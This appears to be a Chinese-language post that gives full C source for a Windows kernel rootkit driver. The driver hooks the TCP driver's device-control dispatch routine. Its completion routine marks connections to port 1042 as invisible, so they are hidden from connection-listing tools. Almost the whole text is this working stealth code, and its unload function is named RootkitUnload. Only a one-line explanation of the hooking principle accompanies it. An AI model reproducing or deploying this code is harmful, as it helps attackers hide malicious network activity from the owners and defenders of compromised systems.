原理: 直接IoGetDeviceObjectPointer根据名称获取驱动对象,然后更改分发函数数组元素即可HOOK指定IRP分发函数。 //irphook.h

/////////////////////////////////////////////////////////////////////////////////////// 

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef BYTE * LPBYTE;

#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//#define MAKEPORT(a, b)   ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8))
#define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8))

typedef struct _CONNINFO101 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {
   unsigned long size;
   unsigned long status; 
   unsigned long src_addr; 
   unsigned short src_port; 
   unsigned short unk1; 
   unsigned long dst_addr; 
   unsigned short dst_port; 
   unsigned short unk2; 
   unsigned long pid;
   PVOID    unk3[35];
} CONNINFO110, *PCONNINFO110;

typedef struct _REQINFO {
	PIO_COMPLETION_ROUTINE OldCompletion;
	unsigned long          ReqType;
} REQINFO, *PREQINFO;

PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS InstallTCPDriverHook();
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT, IN PIRP);

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);

//irphook.cpp

#include <ntddk.h>
#include <tdiinfo.h>

#include "irphook.h"
   
NTSTATUS DriverEntry(
				   IN PDRIVER_OBJECT  DriverObject,
				   IN PUNICODE_STRING RegistryPath
					)
{
	
    NTSTATUS                ntStatus;

	OldIrpMjDeviceControl = NULL;

    DriverObject->DriverUnload = RootkitUnload;
	
	ntStatus = InstallTCPDriverHook();
	if(!NT_SUCCESS(ntStatus)) 
		return ntStatus;

	return STATUS_SUCCESS;
}


NTSTATUS InstallTCPDriverHook()
{
    NTSTATUS       ntStatus;
//  UNICODE_STRING deviceNameUnicodeString;
//  UNICODE_STRING deviceLinkUnicodeString;        
	UNICODE_STRING deviceTCPUnicodeString;
	//想hook的对象
	WCHAR deviceTCPNameBuffer[]  = L"\\Device\\Tcp";
    pFile_tcp  = NULL;
	pDev_tcp   = NULL;
	pDrv_tcpip = NULL;

	RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
	//通过名字获取设备对象的指针
	//设备名字  权限  文件对象  设备对象
	ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
	if(!NT_SUCCESS(ntStatus)) 
		return ntStatus;
	//驱动对象
	pDrv_tcpip = pDev_tcp->DriverObject;
	//分发处理例程  保存原始函数用于处理后下发
	OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 
	if (OldIrpMjDeviceControl)
		InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);
	
	return STATUS_SUCCESS;
}

//hook
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    PIO_STACK_LOCATION      irpStack;
    ULONG                   ioTransferType;
	TDIObjectID             *inputBuffer;
	DWORD					context;

	//DbgPrint("The current IRP is at %x\n", Irp);

    irpStack = IoGetCurrentIrpStackLocation (Irp);

    switch (irpStack->MajorFunction) 
	{
	    case IRP_MJ_DEVICE_CONTROL:
			if ((irpStack->MinorFunction == 0) && \
				(irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
			{
				ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
				ioTransferType &= 3;
				if (ioTransferType == METHOD_NEITHER) // Need to know the method to find input buffer
				{
					inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
					
					// CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP
					if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
					{ 
						// DbgPrint("Input buffer %x\n",inputBuffer);
						if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))
						{
							// Call our completion routine if IRP successful
							irpStack->Control = 0;
							irpStack->Control |= SL_INVOKE_ON_SUCCESS; 

							// Save old completion routine if present
							irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePoolWithTag(NonPagedPool, sizeof(REQINFO), 'PRI');

							((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine; 
							((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_id;

							// Setup our function to be called on completion of IRP
							irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
						}
					}
				}
			}
		break;
		
		default:
		break;
    }

    return OldIrpMjDeviceControl(DeviceObject, Irp);
}


NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, 
							 IN PIRP Irp, 
							 IN PVOID Context)
{
	PVOID OutputBuffer;
    DWORD NumOutputBuffers;
	PIO_COMPLETION_ROUTINE p_compRoutine;
	DWORD i;

	// Connection status values:
	// 0 = Invisible
	// 1 = CLOSED
	// 2 = LISTENING
	// 3 = SYN_SENT
	// 4 = SYN_RECEIVED
	// 5 = ESTABLISHED
	// 6 = FIN_WAIT_1
	// 7 = FIN_WAIT_2
	// 8 = CLOSE_WAIT
	// 9 = CLOSING
	// ...

	OutputBuffer = Irp->UserBuffer;
	p_compRoutine = ((PREQINFO)Context)->OldCompletion;

	if (((PREQINFO)Context)->ReqType == 0x101)
	{
		NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
		for(i = 0; i < NumOutputBuffers; i++)
		{
			// Hide all Web connections
			if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 1042)
				((PCONNINFO101)OutputBuffer)[i].status = 0;
		}
	}
	else if (((PREQINFO)Context)->ReqType == 0x102)
	{
		NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
		for(i = 0; i < NumOutputBuffers; i++)
		{
			// Hide all Web connections
			if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 1042)
				((PCONNINFO102)OutputBuffer)[i].status = 0;
		}
	}
	else if (((PREQINFO)Context)->ReqType == 0x110)
	{
		NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
		for(i = 0; i < NumOutputBuffers; i++)
		{
			// Hide all Web connections
			if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 1042)
				((PCONNINFO110)OutputBuffer)[i].status = 0;
		}
	}

	ExFreePool(Context);

	/*
	for(i = 0; i < NumOutputBuffers; i++)
	{
		DbgPrint("Status: %d",OutputBuffer[i].status);
		DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));
		DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));
	}*/

	if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
	{
		return (p_compRoutine)(DeviceObject, Irp, NULL);
	}
	else
	{
		return Irp->IoStatus.Status;
	}
}


NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
	if (OldIrpMjDeviceControl)
		InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)OldIrpMjDeviceControl);	
	if (pFile_tcp != NULL)
		ObDereferenceObject(pFile_tcp);
	pFile_tcp = NULL;

	return STATUS_SUCCESS;
}